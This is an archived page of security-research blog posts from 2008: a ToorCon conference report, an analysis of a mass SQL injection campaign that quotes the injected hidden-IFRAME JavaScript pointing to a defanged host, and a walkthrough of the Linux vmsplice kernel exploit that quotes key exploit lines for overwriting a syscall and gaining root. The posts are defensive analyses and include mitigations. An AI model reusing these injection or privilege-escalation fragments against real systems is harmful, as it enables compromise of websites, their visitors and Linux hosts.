Research

Author Archives

ToorCon Report

Wednesday, October 1st, 2008

Greetings from sunny San Diego! The past couple of days have been an absolute blast. The folks at ToorCon have put together an awesome conference this year, including speakers from around the world presenting some cutting edge research.

Ben Feinstein and I attended a two-day “crash course” in penetration testing offered by Learn Security Online. Chris Gates and Joe McCray presented some excellent introductory material. They also included a few advanced evasion techniques that I hadn’t seen before. It’s always good to sharpen your skills.

During the Friday seminars, Jay Beale from InGuardians gave an overview of his man-in-the-middle tool, The Middler. He mentioned the code would be released Real Soon Now, so I look forward to a chance to play around with it. Jared DeMott, now at Crucial Security, also gave a rundown of reverse engineering using IDA Pro and the Immunity Debugger. I’m a big fan of Jared’s previous work with fuzzing.

The first day of the convention was pretty packed. Since I didn’t have the chance to attend Black Hat/Defcon this year, Dan Kaminsky’s DNS keynote and Alex Sotirov’s evasion of Vista’s memory protections were fresh and eye-opening to me. Ben also gave his talk about brute-forcing SSH sessions that use the broken Debian SSL libraries, the code for which is available as part of our open-sourced Snort plugins. Joe McCray also gave a good survey of various advanced SQL injection techniques; I really like his classification scheme for the types of SQL injection. Finally, Kurt Grutzmacher’s squirtle tool for obtaining and reusing NTLM hashes from inside corporate networks via XSS definitely proves that you must secure even internal Web applications.

Day two’s shorter format squeezed a lot more presentations in, but some of them kind of felt pressed for time. Marc Bevard showed how to crack DES passwords with the PS3, using some awesomely optimized code. Chema Alonso released a tool for downloading remote files via blind SQL injection. Dennis Brown presented some interesting new details on the Asprox/Damnec botnet, which we’ve covered before. The presentation on hacking telephone entry systems elicited a few chuckles, especially the “dial 333 for rickroll” segment. Stephan Chenette’s presentation on browser hooking is an excellent new technique for deobfuscating Javascript, like our Caffeine Monkey tool. I’ve been really impressed with the convention this year. ToorCon is big enough to attract some high quality presenters, but still small enough where you don’t get lost in the crowd. Hope to see everyone again next year!

Share This Blog | SlashDot | del.ico.us | Technorati | Reddit | Digg it

Down the JavaScript Rabbit Hole

Tuesday, July 1st, 2008

In the last weeks, the SecureWorks Counter Threat Unit™ noticed a significant uptick in the volume of mass SQL injection attacks. What follows is a small part of an in-depth analysis we undertook to better understand these attacks.

Our analysis began with the SQL injection attacks themselves. The attack pattern consists of a long hex-encoded value that’s converted into a string by the victim’s SQL Server. This cloaks the attack from simple inspection, but is easily decoded with a bit of scripting. Of note, we’ve seen the size of the hex-encoded payload decrease significantly over time: the attackers behind this are adapting.

What is uncovered is an attempt to inject a small bit of HTML into every page served by the compromised website. The injected IFRAME references a JavaScript file (b.js in all the samples we’ve observed) hosted on another server. b.js is fairly straight forward bit of JavaScript:

try{
document.write("<iframe src=hxxp://<bad_domain_here>/cgi-bin/?ad width=0 height=0 frameborder=0></iframe>");

bin/?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};

This generated IFRAME serves up a nice piece of obfuscated, packed JavaScript with an 8 kB or so payload. This code included two noteworthy pieces of anti-debugging:

  1. location.href key: As noted elsewhere in the security community [1], unpacking can be made more difficult by including keys only the client browser would know. For the packer we dissected, location.href, the URL of the referencing document, formed part of the decoding key. If one only had the IFRAME code to examine, this would make decryption difficult. However, since we had followed this exploit from the original SQL injection, we knew the referencing document and could provide this parameter. Note that the generating server must uniquely key the packed code to the referenced domain as a result of this.
  2. Use of arguments.callee: This JavaScript primitive allows access to the called function, allowing recursion and other nifty functional abilities. In this case, the packer calls arguments.callee.toString(), which returns the body of the function itself as a String. By appending this to the decoding key, the function is slightly harder to decode - you can’t modify the code in place to force it to decode.

Utilizing our Caffeine Monkey tool, we pealed back this layer of the exploit onion. Interestingly, the attackers choose to encode twice with the same obfuscation technique, possibly to foil automated unpacking. We uncovered a simple browser profiling engine, again written in JavaScript. It looked at two properties:

  1. navigator.appMinorVersion: Only present on IE, this property returns the Windows service pack level. On the example systems we tested, it returned “;SP2;”, representing XP Service Pack 2. The detection code adds 1 to this, left-zero pads it to 2 characters, and sends it as characters 48 and 49 of the request URL described below.
  2. navigator.systemLanguage: Returns the combination of language and country code for localization. The characters for this are translated to their ASCII digit equivalents minus the hyphen, so “en-us” becomes 656E2D7573. This is padded out with zeros to become the final 20 digits of the request URL.

Once the profiling is complete, the code crafts a custom URL using the above data, creates a new SCRIPT tag sourcing this URL, and appends it to the current document. This triggers another download, this time from a different server.

Thankfully, this finabit of JavaScript is again double encoded with the same technique we encountered before. What’s unveiled is a chunk of JavaScript that attempts to exploit a number of known vulnerable ActiveX controls as well as an older vulnerability in Internet Explorer. What’s new here is the fancy packaging.

Interestingly, there are some rudimentary bits of commented-out anti-debugging code in the unraveled JavaScript code. Though incomplete and non-functional, it shows that attackers are getting more sophisticated with defending their exploits from reverse engineering. Expect to see setTimeout anti-reversing techniques in the near future.

[1] http://zarestel.blogspot.com/2008/05/deobfuscating-neosploit-manually.html

Share This Blog | SlashDot | del.ico.us | Technorati | Reddit | Digg it

Linux Kernel Vmsplice Vulnerability

Wednesday, February 20th, 2008

I spent some time this week analyzing the recently disclosed vulnerability in the Linux kernel syscall, vmsplice. Several POC’s have been released and I was curious as to how they exploited the kernel.

Background on the vulnerability: the vmsplice function is a system call that allows a programmer to map an I/O vector (basically, an array of buffers) to a pipe. From the man page:

The vmsplice() system call maps nr_segs ranges of user memory described by iov into a pipe. The file descriptor fd must refer to a pipe.

The kernel adjudicates the whole transaction, dutifully mapping/copying the user specified memory to the pipe’s buffers or vice versa.

The trouble is that the routine for sys_vmsplice didn’t follow best practices for kernel programming and check the pointers passed from userspace for validity.” In at least three places in fs/splice.c, data in the user-specified iov array was copied to or from without verifying it’s validity via access_ok().

The exploit I examined only worked on kernel versions 2.6.23 to 2.6.24.1. Rafal Wojtczuk has an excellent write-up on the 2.6.17 and up exploit - you should check it out.

In 2.6.23, code was added to handle copying from the pipe to the user iov.

Unfortunately, there was no check that this destination address was a valid mapping for the user process:

linux/fs/splice.c:
1400/*
1401 * For lack of a better implementation, implement vmsplice() to userspace
1402 * as a simple copy of the pipes pages to the user iov.
1403 */
1404 static long vmsplice_to_user(struct file *file, const struct iovec __user *iov,
1405 unsigned long nr_segs, unsigned int flags)
1406 {
1407 struct pipe_inode_info *pipe;
1408 struct splice_desc sd;
1409 ssize_t size;
1410 int error;
1411 long ret;

1425 /*
1426 * Get user address base and length for this iovec.
1427 */
1428 error = get_user(base, &iov->iov_base);
1429 if (unlikely(error))
1430 break;
1431 error = get_user(len, &iov->iov_len);
1432 if (unlikely(error))
1433 break;
1434
1435 /*
1436 * Sanity check this iovec. 0 read succeeds. 1437 */
1438 if (unlikely(!len))
1439 break;
1440 if (unlikely(!base)) {
1441 error = -EFAULT;
1442 break;
1443 }

Note that base and len are only checked for being non-zero, rather than the more detailed check performed by access_ok(). Thus, we can pass in values that are unmapped (less useful for exploitation) or are mapped but unwritable.

This later case is what qaaz’s exploit utilizes. By specifying the entry point of another system call (in this case, the rarely used sys_vm86old) as the “base” for copying, qaaz tricks the kernel into overwriting it’s own syscall table:

addr = get_target();
printf(”[+] addr: 0x%lx\n”, addr);

if (pipe(pi) < 0)
die(”pipe”, errno);

iov.iov_base = (void *) addr;
iov.iov_len = TRAMP_SIZE;

write(pi[1], TRAMP_CODE, TRAMP_SIZE);
_vmsplice(pi[0], &iov, 1, 0);

gimmeroot();

Here, get_target() finds the target system call. TRAMP_CODE is a static buffer containing our privilege escalation syscall. gimmeroot() is a macro to invoke the newly overwritten syscall with function to set our process’s UID/GID to root’s:

#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

You would expect the user process to be terminated for an access violation. After all, it is asking the kernel to write to what should be a protected area of kernel memory. Moreover, kernel memory isn’t usually mapped into a process’s address space. Trying to access it should generate a page fault and subsequent kernel oops, plus a SIGSEGV for the userland process.

However, this is not the case with system calls: they must be mapped in userland as well as kernelspace, since user processes need to call them. This exploit takes advantage of this, as the copy is done with the current process’s memory mappings but with the elevated permissions (and reduced access checks) of running in kernel mode.

There are a number of steps that could be taken to prevent this exploit from working:

1. Obvious: Check user addresses for validity before copying anything to/from them.

2. Protect certain chunks of kernel memory from being overwritten after it’s initial load. Unfortunately, the syscall table isn’t a very good candidate for this tactic: it needs to be modified at runtime, at the very least for registering new system calls from loadable modules.

3. Audit system calls and flag any ones with unusual parameters. In this case, the user process was passing a pointer into what should have been (from the process’s perspective) an unwritable page. This tactic would be very expensive, since you’d essentially be double checking most of what the kernel already verifies. Or, at least it should verify.

4. Careful code auditing to make sure #1 always happens.

Note that the tactic of preventing user processes from mapping very low memory (used in the other vmsplice exploit) as suggested elsewhere would not have prevented this particular exploit from working. It uses a different path through sys_vmsplice to achieve it’s code execution and no zero page mappings or any such funkiness.

By the way, the vulnerability has been patched in 2.6.24.2. Though it is a local-only exploit, it is still a significant risk.

Share This Blog | SlashDot | del.ico.us | Technorati | Reddit | Digg it
SecureWorks Blogs
Other SecureWorks Blog Categories:
  • General (20)
  • Links (7)
  • Phishing (1)
  • Research (60)
  • Spam (1)
  • Trojans (4)
  • Blogs by Month:
  • November 2008
  • October 2008
  • September 2008
  • August 2008
  • July 2008
  • June 2008
  • May 2008
  • April 2008
  • March 2008
  • February 2008
  • January 2008
  • December 2007
  • November 2007
  • October 2007
  • September 2007
  • August 2007
  • July 2007
  • June 2007
  • May 2007
  • March 2007
  • January 2007
  • December 2006
  • November 2006
  • October 2006
  • September 2006
  • August 2006
  • June 2006
  • May 2006
  • Join Newsletter

    Next Steps

    Start With SecureWorks Request More Information Now
    Call SecureWorks Call Us Today
    877-905-6661